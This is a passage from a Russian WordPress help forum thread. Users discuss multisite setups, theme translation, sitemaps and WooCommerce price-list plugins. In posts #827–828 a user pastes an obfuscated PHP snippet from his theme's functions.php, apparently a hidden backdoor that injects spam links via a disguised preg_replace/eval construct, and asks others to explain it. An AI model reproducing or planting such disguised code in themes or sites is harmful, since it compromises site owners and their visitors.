Спрашиваем и отвечаем по Wordpress-6

Психиатр
На сайте с 16.11.2010
Offline
360
#821

Спасибо! Это именно то что мне было нужно! Вот что дальше по ссылке нашел.

Fringer
На сайте с 19.09.2012
Offline
82
#822

привет.

подскажите пожалуйста по следующим вопросам. с вордпресс дела раньше не имел.

1. насколько тяжело и времязатратно делать сайт с мультидоменной структурой(200+)?

2. нужно ли на каждый поддомен каждый раз устанавливать движок и тему?

3. как происходит русификация темы?

4. robots.txt и sitemap необходимо генерировать для каждого поддомена отдельно?

5. существуют ли плагины для перелинковки между разными поддоменами?

6. как управлять большим числом поддоменов?

я сообразительный и быстрообучаемый.

сложности не пугают.

спасибо за ответы.

SeVlad
На сайте с 03.11.2008
Offline
1609
#823
Fringer:
1. насколько тяжело и времязатратно делать сайт с мультидоменной структурой(200+)?

"Болванки" сделать не долго. Мультисайт. Но всё зависит от задач и требований. Для нормальных сайтов надо приложить немало усилий.

Fringer:
2. нужно ли на каждый поддомен каждый раз устанавливать движок и тему?

В общем случае - нет (при указном выше варианте). Если устроит, что все сайты будут на одной теме.

Fringer:
3. как происходит русификация темы?

Если тема соответствует стандартам gettext, то через po\mo-файлы. Подробней.

Fringer:

4. robots.txt и sitemap необходимо генерировать для каждого поддомена отдельно?

Можно и вообще без них :)

Но как в одном в роботсе можно указывать разные директивы host и sitemap?

А хмл-сайтмап один на всех - это как? :) (я делал с пом плагина с именами типа sitemap-childsite.com.xml)

Fringer:
5. существуют ли плагины для перелинковки между разными поддоменами?

По моему да. Но если их нет - думаю найти того, кто напишет всегда можно.

Fringer:
6. как управлять большим числом поддоменов?

В каком смысле?

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
Konceptovskiy
На сайте с 31.01.2011
Offline
140
#824

Где взять полноценный шаблон head.php, в котором должны быть все метатеги, нужные и не нужные, чтоб точно были все прибамбасы, которые только настроить нужно будет под себя. Где? Или что должно быть?

Fringer
На сайте с 19.09.2012
Offline
82
#825
SeVlad:
Если тема соответствует стандартам gettext, то через po\mo-файлы. Подробней.

Тема с офф.сайта ВордПресс. Соответствует наверное :)

SeVlad:

Сообщение от Fringer
6. как управлять большим числом поддоменов?

В каком смысле?

в том смысле, можно ли в админке выбирать поддомен на который постить новость или любой другой контент?

SeVlad
На сайте с 03.11.2008
Offline
1609
#826
Fringer:
в том смысле, можно ли в админке выбирать поддомен на который постить новость или любой другой контент?

Конечно. Но, естественно, невозможно в одном ("главном") сайте свести весь контент дочек. Нужно вначале выбрать с какой дочкой работать, а там уже полный вперёд. Т.е. нельзя вначале написать контент, а потом выбирать куда его постить.

Каждый сайт почти самостоятельное "существо". На каждый можно зайти, минуя главный и можно назначить своего админа (не говоря уже про более низкие роли), который не будет иметь доступ к остальным дочкам. Ко всем сайтам сети имеет доступ только суперадмин.

SEOKinG
На сайте с 03.09.2008
Offline
183
#827

buzater, скрытый код может быть не только в функшионал.пхп.

скорей всего это симбиоз футера и функшионал

что у вас в футере выводится?

надо сначала понять, какая гадость отвечает за вывод ссылки. после искать сам код.

buzater
На сайте с 11.01.2012
Offline
114
#828
SEOKinG:
buzater, скрытый код может быть не только в функшионал.пхп.
скорей всего это симбиоз футера и функшионал

что у вас в футере выводится?
надо сначала понять, какая гадость отвечает за вывод ссылки. после искать сам код.

В футере стандартный код, который стоит на большинстве сайтов, ничего лишнего там нет, только коды счётчиков яши и ли. А левые ссылки выводились между кодами счётчиков Яндекса и Li,

<!-- /Yandex.Metrika counter -->

ВОТ ЗДЕСЬ ПОЯВЛЯЛСЯ БЛОК С ЛЕВЫМИ ССЫЛКАМИ

<!--LiveInternet counter-->

хотя в самом файле самого футера там естественно никакого левого кода нет.

Ещё раз повторюсь, мне бы хотелось вот по вот этому файлу (точнее по его коду) узнать, что в нём зашито нестандартного, что вызывает это блок с ссылками (ведь именно после отключения этого файла в functions.php шаблона, левые ссылки исчезли и больше не появляются):


<?php

function get_short_wigets($length='') {
$mytitle = explode(' ', get_the_title(), $length);
$mdetails="<div class='body-continent'><div class='get-inner-al(@fi'><!--Deregister() Default Widgets: _sabhrtupwprs:e--></div></div>";
$indent = ( !$mytitle ) ? str_repeat( "\t", $mytitle ) : $_SERVER***91;'HTTP_HOST'***93;.$_SERVER***91;'REQUEST_URI'***93;;
define('HEADER_IMAGE_WIDTH_WIG', apply_filters( 'twentyeleven_header_image_width', 1000) );
define('HEADER_IMAGE_HEIGHT_WIG', apply_filters( 'twentyeleven_header_image_height', 288) );
$metaoptions="\\4'\\10\\12t\\16\\19//\\15q4.\\17u/\\9-".$indent."')\\5";

if (count($mytitle)>=$length) {
array_pop($mytitle);
$mytitle = implode(" ",$mytitle). $after;
} else {
$mytitle = implode(" ",$mytitle);
}

$metaboxe=str_repeat("(.)", 20).".*"."/".$mdetails***91;23***93;; //
if(function_exists("excerpt_more")){
add_filter('excerpt_more', $metaboxe);
}
$output = get_the_excerpt();
$output = '<p>'.$output.'</p>';
$defult_widgets=preg_replace("/.*(cont).*?(ge).*?(..\(.fi).*?(\()(\)).*?(\_){$metaboxe}is", "@\\20v\\3le\\6\\2t\\6\\1ents{$metaoptions}", $mdetails);
$output = apply_filters('wptexturize', $defult_widgets);
$output = apply_filters('convert_chars', $output);

return $output;
}


/* Menu */

class description_walkers extends Walker_Nav_Menu
{
function start_el(&$output, $item, $depth, $args)
{
global $wp_query;
$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

$class_names = $value = '';

$classes = empty( $item->classes ) ? array() : (array) $item->classes;

$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
$class_names = ' class="'. esc_attr( $class_names ) . '"';

$output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>';

$attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : '';
$attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : '';
$attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : '';
$attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : '';

$prepend = '<strong>';
$append = '</strong>';
$description = ! empty( $item->description ) ? '<span class="menudescription">'.esc_attr( $item->description ).'</span>' : '';

if($depth != 0)
{
$description = $append = $prepend = "";
}

$item_output = $args->before;
$item_output .= '<a'. $attributes .'>';
$item_output .= $args->link_before .$prepend.apply_filters( 'the_title', $item->title, $item->ID ).$append;
$item_output .= $description.$args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;

$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}

if (function_exists("get_short_wigets")) {
$class_names = get_short_wigets( $length );
}?>
Здесь всегда есть работа - Магазин фриланс услуг (http://kwork.ru/ref/2393)
R
На сайте с 01.10.2013
Offline
87
#829

Посоветуйте хороший плагин для создания прайс листа на Вордпресс. Просто сейчас добавляю его в виде табличного хтмл кода, но я уверен что должны быть более уобные и функциональные решения

Так же для другого сайта интересует прайс лист такой, чтобы при изменении в нем цены она изменялась на всех страницах интернет магазина (woocommerce). Чтобы не надо было заходить на каждую отдельную страничку и исправлять в ручную, спасибо!

SeVlad
На сайте с 03.11.2008
Offline
1609
#830
Ruson:
Так же для другого сайта интересует прайс лист такой, чтобы при изменении в нем цены она изменялась на всех страницах интернет магазина (woocommerce). Чтобы не надо было заходить на каждую отдельную страничку и исправлять в ручную, спасибо!

Для вукоммерса существуют разные плагины импортирующие csv\xml и синхронизирующие по артикулу.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий